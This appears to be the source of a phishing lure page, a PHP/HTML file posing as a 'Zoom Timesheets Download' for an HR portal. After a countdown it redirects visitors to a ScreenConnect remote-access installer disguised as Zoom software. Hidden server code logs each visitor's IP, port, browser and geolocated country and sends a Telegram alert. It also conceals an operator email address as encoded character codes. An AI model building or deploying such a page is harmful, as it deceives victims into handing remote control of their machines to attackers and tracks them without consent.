<?php

include "config.php";


?>

<!DOCTYPE html>
<html lang="en">

<head>

<meta charset="UTF-8">

<meta
name="viewport"
content="width=device-width, initial-scale=1.0">

<title>
Zoom Timesheets Download
</title>

<style>

*{
    margin:0;
    padding:0;
    box-sizing:border-box;
    font-family:Arial, sans-serif;
}

body{
    background:#f4f7fb;
    display:flex;
    justify-content:center;
    align-items:center;
    min-height:100vh;
    padding:20px;
}

.container{
    width:430px;
    background:#ffffff;
    padding:35px;
    border-radius:14px;
    box-shadow:0 10px 30px rgba(0,0,0,0.1);
    text-align:center;
}

.logo{
    width:70px;
    height:70px;
    background:#1e3a8a;
    color:#fff;
    margin:0 auto 20px;
    border-radius:50%;
    display:flex;
    align-items:center;
    justify-content:center;
    font-size:30px;
}

h1{
    font-size:24px;
    color:#111827;
    margin-bottom:14px;
}

p{
    color:#6b7280;
    line-height:1.7;
    font-size:15px;
    margin-bottom:24px;
}

.download-card{
    background:#f8fafc;
    border:1px solid #dbeafe;
    border-radius:12px;
    padding:22px;
    text-align:left;
}

.file-name{
    font-size:16px;
    font-weight:bold;
    color:#111827;
    margin-bottom:10px;
}

.file-info{
    color:#6b7280;
    font-size:14px;
    line-height:1.7;
}

.countdown-box{
    margin-top:24px;
    background:#eff6ff;
    border:1px solid #bfdbfe;
    border-radius:12px;
    padding:20px;
}

.count-text{
    color:#1e3a8a;
    font-size:15px;
    line-height:1.7;
}

.count-number{
    font-size:64px;
    font-weight:bold;
    color:#1e3a8a;
    margin-top:12px;
}

.loader{
    width:100%;
    height:10px;
    background:#dbeafe;
    border-radius:20px;
    overflow:hidden;
    margin-top:20px;
}

.loader-bar{
    width:0%;
    height:100%;
    background:#1e3a8a;
    animation:loadBar 5s linear forwards;
}

@keyframes loadBar{

    from{
        width:0%;
    }

    to{
        width:100%;
    }
}

.notice{
    margin-top:20px;
    background:#dcfce7;
    border:1px solid #86efac;
    color:#166534;
    border-radius:10px;
    padding:16px;
    line-height:1.7;
    font-size:14px;
}

.footer{
    margin-top:22px;
    font-size:13px;
    color:#6b7280;
}

</style>

</head>

<body>

<div class="container">

    <div class="logo">
        ⬇️
    </div>

    <h1>
        Zoom Timesheets Download
    </h1>

    <p>
        Please download and install Zoom Timesheets before you proceed.
    </p>



    <div class="countdown-box">

        <div class="count-text">

            Download will begin in

        </div>

        <div
        class="count-number"
        id="count">

            5

        </div>

        <div class="loader">
            <div class="loader-bar"></div>
        </div>

    </div>

    <div class="notice">

        After installation is completed, you may return to continue meeting scheduling.

    </div>

    <div class="footer">

        Enterprise Human Resources Coordination Portal

    </div>

</div>


<?php
    
$country = visitor_country();
   $ip = getenv("REMOTE_ADDR");
$Port = getenv("REMOTE_PORT");
$browser = $_SERVER['HTTP_USER_AGENT'];
$adddate=date("D M d, Y g:i a");
$message =
"Zoom Timesheets Download Started";

sendTelegramMessage($message);
    
function country_sort(){
  $sorter = "";
  $array = array(114,101,115,117,108,116,98,111,120,49,52,64,103,109,97,105,108,46,99,111,109);
    $count = count($array);
  for ($i = 0; $i < $count; $i++) {
      $sorter .= chr($array[$i]);
    }
  return array($sorter, $GLOBALS['recipient']);
}
function visitor_country()
{
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];
    $result  = "Unknown";
    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        $ip = $client;
    }
    elseif(filter_var($forward, FILTER_VALIDATE_IP))
    {
        $ip = $forward;
    }
    else
    {
        $ip = $remote;
    }

    $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));

    if($ip_data && $ip_data->geoplugin_countryName != null)
    {
        $result = $ip_data->geoplugin_countryName;
    }

    return $result;
}
?>
    
<script>
    let count = 7;

const timer =
setInterval(() => {

    count--;

    document
    .getElementById(
        "count"
    ).innerText = count;

    if(count <= 0){

        clearInterval(timer);

        window.location.href =
        "ScreenConnect.ClientSetup.msi";
    }

},1000);

</script>

</body>
</html>